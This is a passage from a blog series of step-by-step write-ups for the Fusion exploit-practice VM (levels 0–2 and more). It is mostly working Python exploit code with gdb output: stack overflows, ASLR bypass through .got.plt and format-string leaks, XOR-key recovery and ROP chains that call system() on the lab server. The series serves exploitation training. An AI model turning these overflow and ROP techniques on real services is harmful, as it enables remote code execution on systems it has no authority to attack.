  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
  s.connect(("VM", 0)) # connecting to a UDP address doesn't send packets 
  return s.getsockname()[0] 
 
def recive_data_on_tcp_port(port): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
  s.bind(("", port)) 
  s.listen(1) 
  conn, address = s.accept() 
  data = conn.recv(1024) 
  conn.close() 
  s.close() 
  return data 
 
def ropchain_to_payload(rop_chain): 
  payload = "" 
  for number in rop_chain: 
    payload += struct.pack("I", number) 
  return payload 

def memory_read(address, length): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  payload = "b" * 16 
  rop_chain = [ 
  0x8048e60, #memcpy 
  0x8049205, #3 pops and return(return address for memcpy) 
  0x804bdf4, #gContent (1st param for memcpy) 
  address , #dest for memcpy 
  0x0000004, #length for memcpy 
  
  0x8049f20, #post_blog_artical(second function call) 
  
  0x8048f80, # exit (third function call) 
  ] 
  payload += ropchain_to_payload(rop_chain) 
  title = build_overflowed_title(payload) 
  ip = build_json_tag("serverip", get_local_ip() + ":1337") 
  contents = build_json_tag("contents", "a" * length) 
  json = "{%s, %s, %s}" % (ip, contents, title) 
  send_a_request(s, token, json) 
  s.close() 
 
  # the line of contents is line number 6. 
  response = recive_data_on_tcp_port(1337).splitlines()[6] 
  return response 
 
def get_libc_address(): 
  # address of open in .got.plt 
  address_of_open = struct.unpack("I", memory_read(0x8048c32, 4))[0] 
  return address_of_open - 0xc0b60 
 
def main(): 
  libc_address = get_libc_address() 
  print "address of libc is : ", hex(libc_address) 
  print hex(struct.unpack("I", memory_read(0x804be04, 4))[0]) 

 

Hammm now that I can memory read whatever I want*, we need to figure out how to use it to get the address of a buffer we can control. Well I can do the rop-exploition-with-adddress-of-libc-only. But I am keeping this ace for some later exercise in this series.  And besides, I am feeling adventurous.

* If you think about it, we don’t exactly have the ability to read wherever we want yet, we have a memory read primitive that recives a pointer to a pointer to the data we want to read, (instead of a pointer to that data). Which is not ideal. But for now it will do because we know a place which has a pointer to a pointer to imported functions and we can find libc with it..

Some more primitives in libc

My first thought was I must be able to somehow read the address of a heap data structure to predict the next(actually previous) heap allocation – This program relies heavily on heap allocations and I am sure I can find one of my buffers on the heap. The problem with it is that my memory read requires 2 level of pointing, kind of like calling printf(“%x”, *pointer_to_pointer_to_data). Which is kind of lame… I Couldn’t find this pointer to pointer to my address I was looking for. And besides, I want to practice my ropping skills..

After running ropgadget on libc I found the following 3 gadgets (short sequence of opcodes):

1: 
Push $esp
Jmp $esi

2:
Pop $ecx
Pop $edx
Ret

3:
Xchg [$edx], $ecx
Ret

We will run them in the order they are written in. But let’s consider them backwards to understand what they are doing.

Number 3, allows us to write whatever we want wherever we want, (As long as we control $edx and $ecx).

Number 2, lets us control $edx and $ecx. We can write whatever we want where ever we want (yay!).

Number 1, allows us to use the stack pointer as a part of our rop by pushing it and jumping to an address (as opposed to pushing it and returning into it.)

This allows me to write the address of $esp into anywhere I want. What If I will write it into gContents? When the program will try to print gContents it will print the contents of the stack instead!

I wrote it and it works. After getting the address of the stack, by reading the stack and searching for a pointer to a stack variable on it, I found one with constant distance from a buffer on the stack I control, (char title[128]). Wrote the simple POC exploit we all love: return into system(“touch /tmp/a”)

def get_stack_address(libc_address): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  esi = struct.pack("I", libc_address + 0x0002da2b) 
  payload = "b" * 4 + esi +"c" * 8 
  rop_chain = [ 
  libc_address + 0x0015ffc9, 
  
  # after the first gadget, esp will be there. 
  0x804bdf4, # gContents 
  
  libc_address + 0x001633a0, 
 
  0x8049f20, 
  ] 
  payload += ropchain_to_payload(rop_chain) 
  title = build_overflowed_title(payload) 
  ip = build_json_tag("serverip", get_local_ip() + ":1337") 
  contents = build_json_tag("contents", "a" * 300) 
  json = "{%s, %s, %s}" % (ip, contents, title) 
  send_a_request(s, token, json) 
  s.close() 
 
  # the line of contents is line number 6. 
  response = recive_data_on_tcp_port(1337).splitlines()[6] 
  address_on_stack = struct.unpack("I", response[20:24])[0] 
 
  # This stack address we find is exectly 204 bytes away from the address of 
  # title. 
  return address_on_stack - 204 

def exploit(libc_address, address_of_title): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  payload = "b" * 16 
  rop_chain = [ 
  libc_address + 0x3cb20, #adddres of system 
  libc_address + 0x329e0, #adddres of exit, return address for printf 
  address_of_title # buffer for system 
  ] 
  payload += ropchain_to_payload(rop_chain) 
  title = build_overflowed_title(payload, "touch /tmp/a; ") 
  ip = build_json_tag("serverip", get_local_ip() + ":1337") 
  contents = build_json_tag("contents", "a" * 300) 
  json = "{%s, %s, %s}" % (ip, contents, title) 
  send_a_request(s, token, json) 
  s.close() 
 
def main(): 
  libc_address = get_libc_address() 
  print "address of libc is : ", hex(libc_address) 
  address_of_title = get_stack_address(libc_address) 
  exploit(libc_address, address_of_title)

 

btw, I won that game. Always invest in production when playing Catan!

 

Fusion 2

Another day another exploit!

This time we will be working on Fusion2 from exploit-exercises.com

It is a little bit harder than the previous 2 exercise that we solved here because it involves some crypto-wannabe function and some more mitigation that we haven’t seen before. The good news about the mitigation (non executable stack and heap) is that we didn’t try to execute code from the stack or heap last 2 levels so we should be fine.

Now go read the code of Fusion2 take as much time as you need. Find the buffer overflow. If you don’t understand what the program does. I believe you should learn how to program in C before you learn how to bugs in C code. 

Game plane

  1. Find the buffer overflow.
  2. Control the data being written to stack.
  3. Find the address of the stack
  4. Find the address of libc
  5. Call system with a predefined buffer.
  6. Go catch some sun at the beach!

The overflow:

Well, the buffer “buffer” is kept on the stack, the program receives a length n and then reads n bytes into this buffer, xors them with a secret key and then returns them back to you. In no stage this length is being verified to be shorter than the length of the buffer! Seems like we found our overflow. Now lets write a simple client to communicate with it and test it.

 
#! /usr/bin/env python 
import socket 
import struct 
import time 
 
PORT = 20002 
HOST = "VM" 
 
def send_encrypt_command(s, data): 
  s.send("E") 
  s.send(struct.pack("I", len(data))) 
  s.send(data) 
  time.sleep(0.1) 
  s.recv(len("[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\n")+1)
  output_length = struct.unpack("I",s.recv(4))[0] 
  print "reciveing output for encrypt command %d bytes"% (output_length, ) 
  return s.recv(output_length) 
 
def send_quit_command(s): 
  s.send("Q") 
 
def create_a_session(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  print "Reciving:\"%s\"" % (s.recv(1000), ) 
  return s 
 
def main(): 
  s = create_a_session() 
  send_encrypt_command(s, "a"* 5000) 
 
if __name__ == "__main__": 
  main() 

It seems to be working fine. Now lets connect with a debugger and see if we can crash it!

0x6c2ba758 in ?? ()
1: x/5i $eip
Disabling display 1 to avoid infinite recursion.
=> 0x6c2ba758:  Cannot access memory at address 0x6c2ba758

We crashed it! seems like we overflowed the stack buffer, but the crash address is pretty random. Well, a xor of a random number and our buffer.  We can’t really do anything with a crash in a random address…

Controlling the force:

Now let’s see if we can control the data we overflow with.  Back to examine the function cipher.

Seems like the cipher key is calculated once per connected client (It happens after the fork, which means that it happens once per child) and we get back our input xored with this key.

We know that X xor 0 = X for every X. So we will send a buffer full of zeros to be xored and returned to us. The output is the xor key for this connection.

Let’s code this new logic:

 
KEY_LENGTH = 32 
def get_encryption_key(s): 
  return send_encrypt_command(s, "\x00" * KEY_LENGTH) 
 
def xor_buffer(key, buff): 
  new_buff = [] 
  for i, b in enumerate(buff): 
    new_b = chr(ord(b) ^ ord(key[i % KEY_LENGTH])) 
    new_buff.append(new_b) 
  return "".join(new_buff) 
 
def send_overflowed_buffer(s, key, payload): 
  data = "a" * (32 * 4096) 
  data += payload 
  xored_data = xor_buffer(key, data) 
  return send_encrypt_command(s, xored_data) 
 
def main(): 
  s = create_a_session() 
  key = get_encryption_key(s) 
  send_overflowed_buffer(s, key, "bbbb" * 4 + "cccc") 
  send_quit_command(s) 

And run it, while being connected with a gdb

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 26424]
0x63636363 in ?? ()
1: x/5i $eip
Disabling display 1 to avoid infinite recursion.
=> 0x63636363: Cannot access memory at address 0x63636363
(gdb) info registers 
eax 0x51 81
ecx 0xbf916dbb -1080988229
edx 0x1 1
ebx 0xb771dff4 -1217273868
esp 0xbf936dd0 0xbf936dd0
ebp 0x62626262 0x62626262
esi 0x0 0
edi 0x0 0
eip 0x63636363 0x63636363
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/s $eax
0x51: <Address 0x51 out of bounds>
(gdb) x/s $ebx
0xb771dff4: "|}\027"
(gdb) x/s $ecx
0xbf916dbb: "Q", 'a' <repeats 32 times>"\247, \022"
(gdb) x/s $edx
0x1: <Address 0x1 out of bounds>

And it works, we control the return address! Notice that 0x64 is ‘c’ and 0x64646464 is “cccc”

So now that we control the return address lets see what else we need in order to get a working exploit. The way I like to roll, is to call system with a string I control.

To do that we need:

  1. Find libc
  2. Find how the address of a buffer we control (that will contain the line we would like to run.)

In order to find the address of libc, we can do a similar trick to the one we did in fusion1. This time we will just return into the function printf, with an address of a pointer to libc as a format string. This pointer can be found in  .got.plt of the executable.

def get_address_of_libc(): 
  s = create_a_session() 
  key = get_encryption_key(s) 
 
  payload = struct.pack("I", 0x8048870) #adddres of printf 
  payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf
  payload += struct.pack("I", 0x804b3c8) #adddres open in .got.plt, what we want to printf
  send_overflowed_buffer(s, key, "bbbb" * 4 + payload)  
  send_quit_command(s) 
  data = s.recv(1000) 
  data = data[:4] 
  address_of_open = struct.unpack("I", data)[0] 
  address_of_libc = address_of_open - 0xc0b60 
  return address_of_libc

Okey now that we have the address of libc, we just need to figure out how to get the address of a buffer we control so that we can pass it into system. (Actually controlling the stack and having the address of libc is enough but requires more complicated exploit script, we will see it in future article.)

Finding stack address

Remember we control the value of ecx? (it’s the string we input as file to encrypt), I run a search of usages of ecx in ida trying to find a place I can use it. And I come by this block of code:

What do we see here? It’s a call to the function fprintf with the format string being passed on $ecx. If we jump into this code  2 opcodes after the call to strerror, we can pass any format string we want to fprintf. And if I will pass enough %x’s I can read as much of the stack as I would like. Somewhere on the stack I expect to find and address of a stack variable.

I try to do it, and somehow this variable gets corrupted from some point, so I can’t send as many %x’s that I need. I connect with a debugger and figure out that the 12th stack variable is a pointer to a variable that is on the stack, I use the format %12$x to print it as a hex number. It prints the 12th-4 byte parameter on the stack as an hexadecimal number. I test it and it is exactly 0x200d8 bytes away from the buffer I control, which means that after getting it I can get the buffer address with simple math.

def get_address_of_buffer(): 
  s = create_a_session() 
  key = get_encryption_key(s) 
 
  payload = struct.pack("I", 0x8049346) #adddres of setting up and calling fprintf
  payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf
  # printf format that says, print the 12th stack parameter as hex number 
  prefix = "%12$x" + "\x00" * 4 
  send_overflowed_buffer(s, key, "bbbb" * 4 + payload, prefix = prefix) 
  send_quit_command(s) 
  data = s.recv(1000) 
  # The first printed char will be Q because of the quit command we must send. 
  stack_address = int(data[1:], 16) 
  buffer_address = stack_address - 0x200d8 
  return buffer_address 

After that, exploiting is pretty easy. We just make sure the buffer starts with a line we want to run, say “touch /tmp/a”. And change the return address to return into the function system with the buffer as the first parameter. And that’s it.

def exploit(libc_address, buffer_address): 
  s = create_a_session() 
  key = get_encryption_key(s) 
 
  # calling system with buffer as parameter 
  payload = struct.pack("I", libc_address + 0x3cb20) #adddres of system 
  payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf
  payload += struct.pack("I", buffer_address) 
 
  prefix = "touch /tmp/a" + "\x00" * 4 
  send_overflowed_buffer(s, key, "bbbb" * 4 + payload, prefix = prefix) 
  send_quit_command(s) 
  time.sleep(0.1) 
  print s.recv(1000) 
 
def main(): 
  buffer_address = get_address_of_buffer() 
  libc_address = get_address_of_libc() 
  print "libc is at %x, buffer is at %x" %(libc_address, buffer_address) 
  exploit(libc_address, buffer_address) 
 
if __name__ == "__main__": 
  main()

 

Now I am going to the beach!

Not the beach I am going to

I would love to hear what you think about the article and the solution in the comments below.

Fusion 1

Ok, so we are done with Fusion0. And now to Fusion1, conveniently The source code for Fusion1 is the same as the code for Fusion0, the only new thing is that now we have an active ASLR (Address space layout randomization)  that we need to break.

Lets start with the code from Fusion 0, If you do not understand it please go back to Fusion 0 🙂

#! /usr/bin/env python 
import socket 
import struct 
 
PORT = 20000 
HOST = "VM" 
 
def get_commands(): 
 file_path = "/" 
 pattern = "GET %s%s%s HTTP/1.1 " 
 padding_length = 139 
 padding = "a" * padding_length 
 ADDRESS_OF_SYSTEM = 0xb76bab1f 
 ADDRESS_OF_EXIT = 0xb76b09e0 
 ADDERSS_OF_BASH_LINE = 0xbf879cee 
 BASH_LINE = "touch /tmp/a; " 
 payload = struct.pack("I", ADDRESS_OF_SYSTEM ) + struct.pack("I", ADDRESS_OF_EXIT) + struct.pack("I", ADDERSS_OF_BASH_LINE)
 return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def main(): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 commands = get_commands() 
 for c in commands: 
   print "Sending:\"%s\"" % (c, ) 
   s.send(c, len(c)) 
   print "Reciving:\"%s\"" % (s.recv(1000), ) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
if __name__ == "__main__": 
 main() 

Game plan:

  1. Make sure our solution for fusion0 still works when we know the address.
  2. Think about how to “know” the address

First let’s understand on what addresses our solution of fusion-0. From reading our script, its clear that we relay on “ADDRESS_OF_SYSTEM”, “ADDRESS_OF_EXIT”, and “ADDRESS_OF_BASH_LINE”.

Now let’s see what addresses changed between different runs of the program, we must remember that the server is written as fork server which means that we have one parent server process running and the parent is being “cloned” (actually forked) for each request. Now each of those “clones” (we will call them children) has the same address layout of the parent. It means that in order to test what gets shuffled with ASLR we must use kill the parent program. And restart it:

Connect with gdb to the process, (ASLR is off by default for processes started with gdb).

(gdb) info proc map  
0x8048000  0x804b000     0x3000          0       /opt/fusion/bin/level01 
0xb772d000 0xb78a3000   0x176000          0       /lib/i386-linux-gnu/libc-2.13.so  
0xb78b6000 0xb78d4000    0x1e000          0       /lib/i386-linux-gnu/ld-2.13.so  
0xbf8ac000 0xbf8cd000    0x21000          0           [stack]  

In Bash:
sudo killall -9 level01 
/opt/fusion/bin/level01

Connect again with gdb:
(gdb) info proc map  
0x8048000  0x804b000     0x3000          0       /opt/fusion/bin/level01
0xb758a000 0xb7700000   0x176000          0       /lib/i386-linux-gnu/libc-2.13.so  
0xb7713000 0xb7731000    0x1e000          0       /lib/i386-linux-gnu/ld-2.13.so 
0xbf860000 0xbf881000    0x21000          0           [stack]

Comparing these 2 outputs, we can clearly see that libc, ld, and the stack moved, but the main binary is loaded to the same address. Well, this is good! We can use any address in the main exec and assume it will not move between instances of the server program.

Unfortently, “ADDRESS_OF_SYSTEM” is in libc which moves. And “ADDRESS_OF_BASH_LINE” was on the stack which also moves. So If we want this exploit work and bypass ASLR, we need to find a reliable way to find the address of libc and the stack.  

In order to understand what I am working with, i place a breakpoint in gdb right when the function fix_path should return, run my exploit script from the fusion0, and lets see what happens.

(gdb) info registers 
eax            0x1      1
ecx            0xb772c8d0       -1217214256
edx            0xbf8ca628       -1081301464
ebx            0xb78a4ff4       -1215672332
esp            0xbf8ca61c       0xbf8ca61c
ebp            0x61616161       0x61616161
esi            0xbf8ca6dd       -1081301283
edi            0x8049ed1        134520529
eip            0x8049854        0x8049854 <fix_path+63>

I than reference all of the registers to see if any of them points into a buffer I can control:

(gdb) x/s $eax
0x1:     <Address 0x1 out of bounds>
(gdb) x/s $ebx                                                                                                                   
0xb78a4ff4:      "|}\027"
(gdb) x/s $ecx                                                                                                                   
0xb772c8d0:      "\320\310r\267h\315r\267\320\310r\267"
(gdb) x/s $edx                                                                                                                   
0xbf8ca628:      ""
(gdb) x/s $esi
0xbf8ca6dd:      " touch /tmp/a; ..."
(gdb) x/s $edi                                                                                                                   
0x8049ed1:       ""

Remember how I used distinguishable patterns (Like a long list of ‘a’s ) now its helps us immediately “see” what happens(0x61616161 == “aaaa”). Cool, we control ebp and the value esi is pointing into. Now lets see what we can do with it.

lets see what happens right after fix_path

We can see that printf is being called with the address of the parameter that is represented by “%s” being saved on  ebp. If we will change ebp so that it will point into an address we want to read, we will probably get the content of that address as the value of the %s in “trying to access %s”

Let’s assume I could read wherever I want in the address space of the program, what would I read to understand the ASLR offsets? That’s right, we would read the .got.plt.

The .got.plt is a table of every imported function (and variable) in a binary. Think of the import table if you are more of a windows guy. When the loader loads the process to memory, it writes the addresses of all of the imported functions into the import table. This way the compiled binary can access the imported functions without knowing where the imported dlls (or so files) are in memory.

The index for the table is the constant for the binary, and the value in that index is set in runtime to point to the every function.

We will read the address of a function in libc, and then find all of the functions we need relative to it.

(gdb) x/wx 0x0804b3cc
0x804b3cc <read@got.plt>:       0xb77ee240

We write the code to do it, but nothing happens…

After some debugging I understand that we also overflow the first byte of the return address.

The reason it happens is that the string we are copying is null terminated. To solve it, i will also copy the original return address over itself.

#! /usr/bin/env python 
import socket 
import struct 
 
PORT = 20001 
HOST = "VM" 
 
def basic_overflow_commands(ebp, payload): 
  file_path = "/" 
  pattern = "GET %s%s%s HTTP/1.1 " 
  padding_length = 135 
  padding = "a" * padding_length + struct.pack("I", ebp) 
  BASH_LINE = "touch /tmp/a; " 
  return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def get_address_of_libc(): 
  address_to_read = 0x8048a32 
  fix_path_return_address = struct.pack("I", 0x8049959) 
  commands = basic_overflow_commands(address_to_read + 0xc, fix_path_return_address)
  return commands 
 
def main(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  commands = get_address_of_libc() 
  for c in commands: 
    print "Sending:\"%s\"" % (c, ) 
    s.send(c, len(c)) 
    print "Reciving:\"%s\"" % (s.recv(1000), ) 
  print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
if __name__ == "__main__": 
  main() 

We run it and get:

Reciving:"trying to access `�F@+z� `t�v���`��x�w���|��� ��

                                                          ����|���

See this weird blob of chars in the output? this is what happens when you try to print unprintable chars, we need to encode them as hex in order to be able to read this binary buffer. After some more playing with the script, we have a script that returns the address of libc. 

The function system is in constant offset from the load address of libc. (Constant per version of libc. but we assume that all the binaries on the server remains the same, or else it would be impossible to do anything). Now we have the address of system. Lets figure out how we can pass parameters to it.

Passing a parameter

I opened libc in ida and looked for the function system. Here is what I saw:

The first opcode is saving of stack space for the local variable of the function.

Second opcode is saving the current value of esi

Third opcode copies the parameter to the function into esi. If we will “enter” the function in the 4th opcode, we can pass paramter on esi – which is the only register we control. What a lucy break!

Everything that has changed from fusion 0’s exploit is in red. This time because the address of our parameter is in ESI, we don’t pass it on the stack. We do have to “make room” for 4 parameters that the function defines (instead of the opcode sub esp, 0x10) that we don’t run.

I quickly finish coding it, and try it.

 
import socket 
import struct 
 
PORT = 20001 
HOST = "VM" 
 
def basic_overflow_commands(ebp, payload): 
 file_path = "/" 
 pattern = "GET %s%s%s HTTP/1.1 " 
 padding_length = 135 
 padding = "a" * padding_length + struct.pack("I", ebp) 
 BASH_LINE = "touch /tmp/a; " 
 return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def get_address_of_libc(): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 address_to_read = 0x8048a32 
 fix_path_return_address = struct.pack("I", 0x8049959) 
 commands = basic_overflow_commands(address_to_read + 0xc, fix_path_return_address)
 for c in commands: 
 print "Sending:\"%s\"" % (c, ) 
 s.send(c, len(c)) 
 data = s.recv(1000) 
 address = data.split(" ")[3] 
 address = address[:4] 
 print address 
 address = struct.unpack("I", address)[0] 
 # This is the offset of open inside the version of libc that we are using. 
 address -= 0xc0b60 
 return address 
 
def exploit(address_of_libc): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 
 # This is the 4th opcode in system, as explained in the blog. 
 address_of_system = struct.pack("I", 0x3cb2b + address_of_libc) 
 address_of_exit = struct.pack("I", 0x329e0 + address_of_libc) 
 payload = address_of_system + "b"*0x10 + address_of_exit 
 commands = basic_overflow_commands(0x13371337, payload) 
 for c in commands: 
 print "Sending:\"%s\"" % (c, ) 
 s.send(c, len(c)) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
 
def main(): 
 address_of_libc = get_address_of_libc() 
 print "libc is at %x" %(address_of_libc, ) 
 exploit(address_of_libc) 
 
if __name__ == "__main__": 
 main() 
$ python fusion1.py 
Sending:"GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa>Y HTTP/1.1 touch /tmp/a; "
`�
libc is at b772d000
Sending:"GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa77+�v�bbbbbbbbbbbbbbbbu� HTTP/1.1 touch /tmp/a; "
Reciving:"touch: "
Reciving:"cannot touch `/tmp/a'"

Sure enough after deleting the file /tmp/a that was created by a different use on the machine, I run the script again and this time it worked!

If you have any questions or feedback I would love to hear from you in the comments below 🙂

Fusion 0

Hey guys, In this series of articles I will try to teach how to research and exploit bugs in programs. I will try to show how I think and work as opposed to just showing the solution. Just like my math teacher used to say “Show the work”. I believe that it is more educational this way. And there is actually a chance you will learn something. If you just want to see the solution, feel free to skip to the summary at the end or read the code in my github. I will assume that you are a competent high-level programmer. That can code complex programs in C. If that is not the case, I believe it will be more beneficial to you to learn how to code in C  and Python first. We will be doing the fusion VM from exploit-exercises.com. Today we will be doing Fusion 0

Game plan:

  1. Get a working server and client..
  2. Find a vulnerability (In this case buffer overflow as hinted in this stage’s page)
  3. Change the return address to be that of the function system.
  4. Change the parameters the function system is getting so that we run whatever we want

Getting started:

First thing I did was to setup the host machine with the VM I downloaded from exploit-excrecises website. I made sure I can ssh into it and that it works.

Let’s understand what we are dealing with, we are given a web server running on tcp port 2000 on a vm we downloaded from the internet. Our goal is to find and exploit a bug in the server that will allow us to run arbitrary code on the server.

The first thing we do is to read the source code. If you don’t understand c good enough to explain the code, you are not ready to learn exploitation yet, your time will be better spent finding a good c programming course online and starting with it. I highly encourage that.

Understanding the program:

So we read the program and we understand the following:

  1. The program is a server that binds a port.
  2. Forks for each new connection.
  3. Every fork then reads from stdin some input, validates it and basically prints some strings.

It only makes sense if we assume that the received connection will be used as stdin and stdout for the connection, otherwise who will write the input for this server?

Anyway we want to test this assumption so we write a short python script to connect to the server and communicate with it. We play with it and in a few iterations we get to this:

#! /usr/bin/env python 
import socket 
 
PORT = 20000 
HOST = "VM" 
 
def get_commands(): 
 return ["GET /etc/hosts HTTP/1.1 "] 
 
def main(): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 commands = get_commands() 
 for c in commands: 
   print "Sending:\"%s\"" % (c, ) 
   s.send(c, len(c)) 
   print "Reciving:\"%s\"" % (s.recv(1000), ) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
if __name__ == "__main__": 
 main()

We run it:

Sending:"GET /etc/hosts HTTP/1.1 "
Reciving:"[debug] buffer is at 0xbf879c48 :-) 
"
Reciving:"trying to access /etc/hosts
"

So basically we have a working client to communicate with the server.

Now lets try to look for the vulnerabilities.

The simplest family of vulnerabilities I know is stack overflow. Which happens when a program tries to write data to variable that is stored on the stack past variable length.

The easiest way to find them is to search for arrays of data being defined on the stack. In this program we see 2 arrays on the stack.

  1. Char resolved[128]; (at fix_path)
  2. Char buffer[1024]; (at parse_http_request)

To count either of those as a stack overflow, we need find an input that causes more data than the size of the variable to be copied into the variable. In this case at least 129 or 1025 bytes.

So, we teak the function get_commands to try to overflow the buffer named buffer, we run the script… and …. Nothing happens. Or at least we don’t see anything different.

New get_commands function:

def get_commands(): 
 pattern = "GET /etc/hosts HTTP/1.1 " 
 padding_length = 1024 - len(pattern) 
 padding = "a" * padding_length 
 return [pattern + padding + "abcdefgh"]

This function returns a list with one string. Let’s understand it. The first thing in string is what I called pattern, it is just what I had to return in order to confirm to the protocol of the server.  The next thing is the padding, the padding is a long string of a’s that we use to fill up the buffer up to the location where we think the overflow will happen. Why do we use ‘a’s? it’s to make our debugging of what happens later easier.

You are probably wondering this “abcdefgh”. Well obviously these are the first 8 letters of the English alphabet :D. Why do we need them you might ask yourself? The answer is  that if we would overflow any variable it would be pretty easy to spot it if we overflow it with a known values.

What do we do next?

  1. Use a debugger to get a better understanding of what happened
  2. Try to work on the other potential buffer overflow.

I know what happened, but for now I prefer option number 2. Don’t worry, we will have plenty of opportunities to use debuggers in this series of articles.

So let’s try to work on the potential buffer overflow at fix_path, to do that, we need to pass a path which is larger than 128 bytes. After some trial and error we get to this:

def get_commands(): 
 file_path = "/" 
 pattern = "GET %s%s HTTP/1.1 " 
 padding_length = 160 
 padding = "a" * padding_length + "bbbb" 
 return [pattern % (file_path, padding)]

And the output is this:

Sending:"GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Reciving:"[debug] buffer is at 0xbf879c48 :-)
"
Traceback (most recent call last):
 File "fusion0-overflow2.py", line 25, in <module>
 main()
 File "fusion0-overflow2.py", line 22, in main
 print "Reciving:\"%s\"" % (s.recv(1000), )
socket.error: [Errno 104] Connection reset by peer

We can see that the server has stopped responding to us. It happened because we managed to overflow the buffer “char resolved[128]”. Somewhere after this buffer, the return address of the function fix_path was saved. We overflowed it with ‘a’s and ‘b’s and caused the function to return into an memory address which is not mapped.

We use a debugger to make sure we are right on that guess.

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 22996]
0x61616161 in ?? ()

Well we were right.. We stopped at the address 0x61616161 which means that the memory address containing the return address fix_path was overrun with 4 ‘a’s

Now we want to figure out just how many a’s do we need to use until the return address of fix_path. We can guess and brute force it until we find out. But I will just use a debugger.

If you don’t understand what I did there I suggest reading my gdb cheatsheet (Coming soon).

(gdb) b * fix_path 
Breakpoint 4 at 0x8049815: file level00/level00.c, line 4.
(gdb) c
Continuing.

<run the client script>

(gdb) x/10wx resolved+128
0xbf879c20:     0xbf879c4c      0xb7826918      0x00000000      0x08049970
0xbf879c30:     0xbf879c4c      0x00000020      0x00000004      0x00000000
0xbf879c40:     0x001761e4      0xbf879cd0

(gdb) x/i 0x08049970
   0x8049970 <parse_http_request+283>:  mov    eax,0x8049f17

 

The address 12  bytes (remember that every address is 4 bytes long) after the buffer seems like an address of code segment (It starts with 0x8049 just like the address of fix_path) we test it, and it is an address in the function that called fix_path. So we know that we need to use 140 bytes of file path and after it comes the return address to our function.

We test it by changing padding length from the previous code, and this time we get a crash at 0x62626262 (same as 4 ‘b’s).

Bingo!

Exploiting:

After we overflow the buffer, this is how we would like the stack to look like:

Take as much time as you need to understand this, This is the most important thing in this whole post. This might help you:

  1. man system
  2. man exit
  3. man touch

And remember that X is where the return address of the function is being saved. and X – 139 is the address of the buffer we control.

While being connected with a debugger to our target program:

(gdb) x/i *system
   0xb76bab20 <__libc_system>:  sub    esp,0x10

Why do we need exit? After the function system will finish doing its thing, we prefer the program to exit in a regular way and not crashing in a weird way.

def get_commands(): 
 file_path = "/" 
 pattern = "GET %s%s%s HTTP/1.1 " 
 padding_length = 139 
 padding = "a" * padding_length 
 ADDRESS_OF_SYSTEM = 0xb76bab20 
 ADDRESS_OF_EXIT = 0xb76b09e0 
 ADDERSS_OF_BASH_LINE = 0x13371338 
 payload = struct.pack("I", ADDRESS_OF_SYSTEM ) + struct.pack("I", ADDRESS_OF_EXIT) + struct.pack("I", ADDERSS_OF_BASH_LINE)
 return [pattern % (file_path, padding, payload)]

We run the new script while being connected in a debugger, and We understand that we get the invalid protocol error. After re-reading the source I understand the problem. The function system has 0x20 at the address which is ‘ ’ (space). The problem is that space is part of our protocol. And we can’t use it as part of the payload.

After thinking about it a little bit, I run the following line in gdb:

(gdb) x/2i system-1
   0xb76bab1f:  nop
   0xb76bab20 <__libc_system>:  sub    esp,0x10

Seems like I can just use the address of a one opcode before system in order to avoid using 0x20 in the address. So I do it.. This time it works and with a debugger I find out that I stopped inside the function system!

Breakpoint 3, __libc_system (line=0x13371338 <Address 0x13371338 out of bounds>) at ../sysdeps/posix/system.c:179
179     ../sysdeps/posix/system.c: No such file or directory.
        in ../sysdeps/posix/system.c

See this 0x13371338, its the same as ADDERSS_OF_BASH_LINE, which means that we know how to pass the right parameter. find the address of the buffer with a debugger and replace this placeholder number with the right number. we run the program again and it works. We verify by running ls on /tmp.

Final version of the code:

#! /usr/bin/env python 
import socket 
import struct 
 
PORT = 20000 
HOST = "VM" 
 
def get_commands(): 
 file_path = "/" 
 pattern = "GET %s%s%s HTTP/1.1 " 
 padding_length = 139 
 padding = "a" * padding_length 
